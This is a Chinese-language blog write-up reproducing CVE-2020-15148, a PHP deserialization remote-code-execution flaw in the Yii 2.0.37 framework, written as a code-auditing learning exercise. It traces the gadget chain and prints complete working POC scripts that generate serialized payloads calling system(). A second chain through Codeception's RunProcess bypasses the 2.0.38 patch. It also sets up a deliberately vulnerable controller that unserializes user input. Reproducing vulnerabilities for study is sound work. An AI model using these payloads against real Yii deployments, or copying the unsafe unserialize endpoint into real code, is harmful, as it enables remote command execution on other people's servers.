Yii-2.0.37-反序列漏洞
前言
继续学习PHP代码审计,PHP反序列化是很常见的PHP漏洞,这里复现一下。
第一次复现Yii框架
看看框架的目录
DIRECTORY STRUCTURE
-------------------
assets/ contains assets definition
commands/ contains console commands (controllers)
config/ contains application configurations
controllers/ contains Web controller classes
mail/ contains view files for e-mails
models/ contains model classes
runtime/ contains files generated during runtime
tests/ contains various tests for the basic application
vendor/ contains dependent 3rd-party packages
views/ contains view files for the Web application
web/ contains the entry script and Web resources
环境搭建
直接github下载
https://github.com/yiisoft/yii2/releases/tag/2.0.37
记得修改 /config/web.php文件17行cookieValidationKey
的值,即可
本地搭建成功
CVE-2020-15148复现
分析
反序列化漏洞,先找入口,
在 BatchQueryResult
类中,调用了reset,跟进
reset()中没有可利用的函数了。。
学习大佬思路:这里的_dataReader是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?
全局搜索 __call
,在 Generator
下,找到了可以利用的__call
跟进format,发现 危险函数
继续跟进,查看是否可控
发现这里
注意:因为前面close是无参方法,所以__call中的$method
是close,attributes
为空,然后传参给format方法
在 Generator
下,发现了 formatters
是可控的。所以第一个参数式可控的,第二个参数式空,所以相当于我们现在能干两件事:
- 1.可以执行无参数的系统命令。比如phpinfo,scandir()等。
- 2.调用yii2中任意的一个无参方法。
那就找可以rce的方法 (无参数方法哦
参考大佬的正则
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
找到了run()函数,可以调用危险函数。
checkAccess
和 id
都可控,直接利用即可
构造poc
利用链
class BatchQueryResult ->__destruct()
↓↓↓
class BatchQueryResult ->reset()
↓↓↓
class Generator ->__call()
↓↓↓
class Generator ->format()
↓↓↓
class Generator ->getFormatter()
↓↓↓
class IndexAction ->run()
在Controller中先写入反序列入口
<?php
namespace app\controllers;
class TestController extends \yii\web\Controller
{
public function actionTest($data){
return unserialize(base64_decode($data));
}
}
调用类的位置
vendor/yiisoft/yii2/db/BatchQueryResult.php:
vendor/fzaninotto/faker/src/Faker/Generator.php
vendor/yiisoft/yii2/rest/CreatAction.php
poc:
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {//__construct少了个’s',哭了。。怪不得有问题
$this->checkAccess= 'system';
$this->id='dir';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;//这里是protected,写成public
public function __construct() {
$this->formatters['close'] = [new IndexAction(),'run'];//这里是要调用该类的run方法,而不是该类
}
}
}
namespace yii\db{//这里是yii,不是yii2,shader
use Faker\Generator;
class BatchQueryResult {
private $_dataReader; //这里是private类型
public function __construct() {
$this->_dataReader=new Generator;
}
}
}
namespace {
//use yii2\db\BatchQueryResult;//这里忘记了
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
回显成功
Yii-2.0.37反序列复现--寻找close方法
Yii-2.0.38反序列复现--入口修改
在2.0.38中为了防止反序列化
加入 __wakeup
函数,当使用BatchQueryResult`反序列化时,会拋出错误
参考审计新思路,其实,新版只是限制了反序列的入口,但是后面的链子__call
仍然可以利用,打开思路,只需要找到新的入口,即可继续利用
入口条件:
- 属性可控
- 属性调用方法
搜 destruct
找到了入口,这里process参数可控,可以调用 __call
路径
Yii/vendor/codeception/codeception/ext/RunProcess.php
构造poc,修改2.0.37的入口即可
<?php
namespace yii\rest{
class IndexAction {
public $checkAccess;
public $id;
public function __construct() {//__construct少了个’s',哭了。。怪不得有问题
$this->checkAccess= 'system';
$this->id='dir';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;//这里是protected,写成public
public function __construct() {
$this->formatters['close'] = [new IndexAction(),'run'];//这里是要调用该类的run方法,而不是该类
}
}
}
namespace Codeception\Extension{//命名空间要和源码中的相同
use Faker\Generator;
class RunProcess {
private $processes=[]; //这里是private类型
public function __construct() {
$this->processes[]=new Generator();
}
}
}
namespace {
//use yii2\db\BatchQueryResult;//这里忘记了
echo base64_encode(serialize(new Codeception\Extension\RunProcess));
}
?>
利用成功
新思路--使用__ToString跳转
入口仍然是 __destrucat
位置
Yii/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
跟进 clearAll
发现这里用字符串的拼接,参数都可控,想到调用 __toString
方法,全局查查
找到了7个含有相同 toSring
方法的文件
通过$this->description->render()
,继续调用 __call
,利用即可
构造poc
a'a
利用成功
参考
本文来自博客园,作者:kzd的前沿思考,转载请注明原文链接:https://www.cnblogs.com/Fram3/p/15865969.html